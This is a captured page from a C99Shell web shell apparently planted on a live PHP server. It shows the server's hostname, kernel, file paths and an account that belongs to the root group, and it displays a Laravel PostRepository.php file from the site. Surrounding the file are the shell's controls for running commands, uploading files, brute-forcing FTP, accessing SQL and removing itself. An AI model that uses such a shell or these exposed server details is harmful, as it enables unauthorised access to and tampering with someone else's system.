!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Repositories/Back/   drwxr-xr-x
Free 29 GB of 117.98 GB (24.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PostRepository.php (4.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Repositories\Back;

use 
App\{
    
Models\Post,
    
Helpers\ImageHelper
};
use 
Illuminate\Support\Str;

class 
PostRepository
{

    
/**
     * Store post.
     *
     * @param  \App\Http\Requests\ImageStoreRequest  $request
     * @return void
     */

    
public function store($request)
    {
        
$input $request->all();
        
$input['slug'] = Str::slug($request->title);
        if(
$request->has('tags')){
            
$input['tags'] = str_replace(["value""{""}""[","]",":","\""], ''$request->tags);
        }
        if(
$request->photo){
            
$input['photo'] = $this->storeImageData($request);
        }
        
        
        
Post::create($input);
    }

    
/**
     * Update post.
     *
     * @param  \App\Http\Requests\ImageUpdateRequest  $request
     * @return void
     */

    
public function update($post$request)
    {
        
$input $request->all();
        
// dd($input);
        
$input['slug'] = Str::slug($request->title);
        if(
$request->has('tags')){
            
$input['tags'] = str_replace(["value""{""}""[","]",":","\""], ''$request->tags);
        }
        
// dd($request->photo);
        
if($request->photo){
            
$input['photo'] = $this->UpdateImageData($request,$post);
        }
        
$post->update($input);
    }


    
// public function storeImageData($request)
    // {
        
    //     $storeData = [];
    //     if ($photos = $request->file('photo')) {
    //         foreach($photos as $key => $photo){
    //             $storeData[$key] = ImageHelper::handleUploadedImage($photo,'assets/images');
    //         }
    //     }
    //     return $storeData;
    // }
    
public function storeImageData($request)
    {
        if (
$request->hasFile('photo')) {
            return 
ImageHelper::handleUploadedImage($request->file('photo'), 'assets/images');
        }

        return 
null// Return null if no image is uploaded
    
}

    
// public function updateImageData($request, $post)
    // {
    //     $storeData = $post->photo ? json_decode($post->photo, true) : [];
    
    //     if ($photos = $request->file('photo')) {
    //         foreach ($photos as $photo) {
    //             if ($photo->isValid()) {
    //                 array_push($storeData, ImageHelper::handleUploadedImage($photo, 'assets/images'));
    //             } else {
    //                 return back()->withErrors(['photo' => 'Invalid image file.']);
    //             }
    //         }
    //     }
    
    //     return $storeData;
    // }
    
public function updateImageData($request$post)
    {
        
// If the post already has an image, keep it unless a new one is uploaded
        
$storeData $post->photo $post->photo null;

        if (
$request->hasFile('photo')) {
            
$photo $request->file('photo');
            
            if (
$photo->isValid()) {
                
$storeData ImageHelper::handleUploadedImage($photo'assets/images');
            } else {
                return 
back()->withErrors(['photo' => 'Invalid image file.']);
            }
        }

        return 
$storeData;
    }



    
/**
     * Delete post.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */

    // public function delete($post)
    // {
    //     $images = json_decode($post->photo,true);
    //     foreach($images as $image){
    //         if (file_exists(base_path('../').'assets/images/'.$image)) {
    //             unlink(base_path('../').'assets/images/'.$image);
    //         }
    //     }
    //     $post->delete();
    // }
    
public function delete($post)
    {
        if (!empty(
$post->photo)) {
            
$imagePath base_path('../') . 'assets/images/' $post->photo;
    
            if (
file_exists($imagePath)) {
                
unlink($imagePath);
            }
        }
    
        
$post->delete();
    }
    
    
/**
     * Delete post.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */

    // public function photoDelete($key,$id)
    // {
    //     $post = Post::findOrFail($id);
    //     $photos = json_decode($post->photo,true);
    //     $delete_photo = $photos[$key];
    //     if (file_exists(base_path('../').'assets/images/'.$delete_photo)) {
    //         unlink(base_path('../').'assets/images/'.$delete_photo);
    //     }
        
    //     unset($photos[$key]);
    //     $new_photos = json_encode($photos,true);
    //     $post->update(['photo'=> $new_photos]);
    // }
    
public function photoDelete($id)
    {
        
$post Post::findOrFail($id);
    
        if (!empty(
$post->photo)) {
            
$imagePath base_path('../') . 'assets/images/' $post->photo;
    
            if (
file_exists($imagePath)) {
                
unlink($imagePath);
            }
    
            
// Remove the photo reference from the database
            
$post->update(['photo' => null]);
        }
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--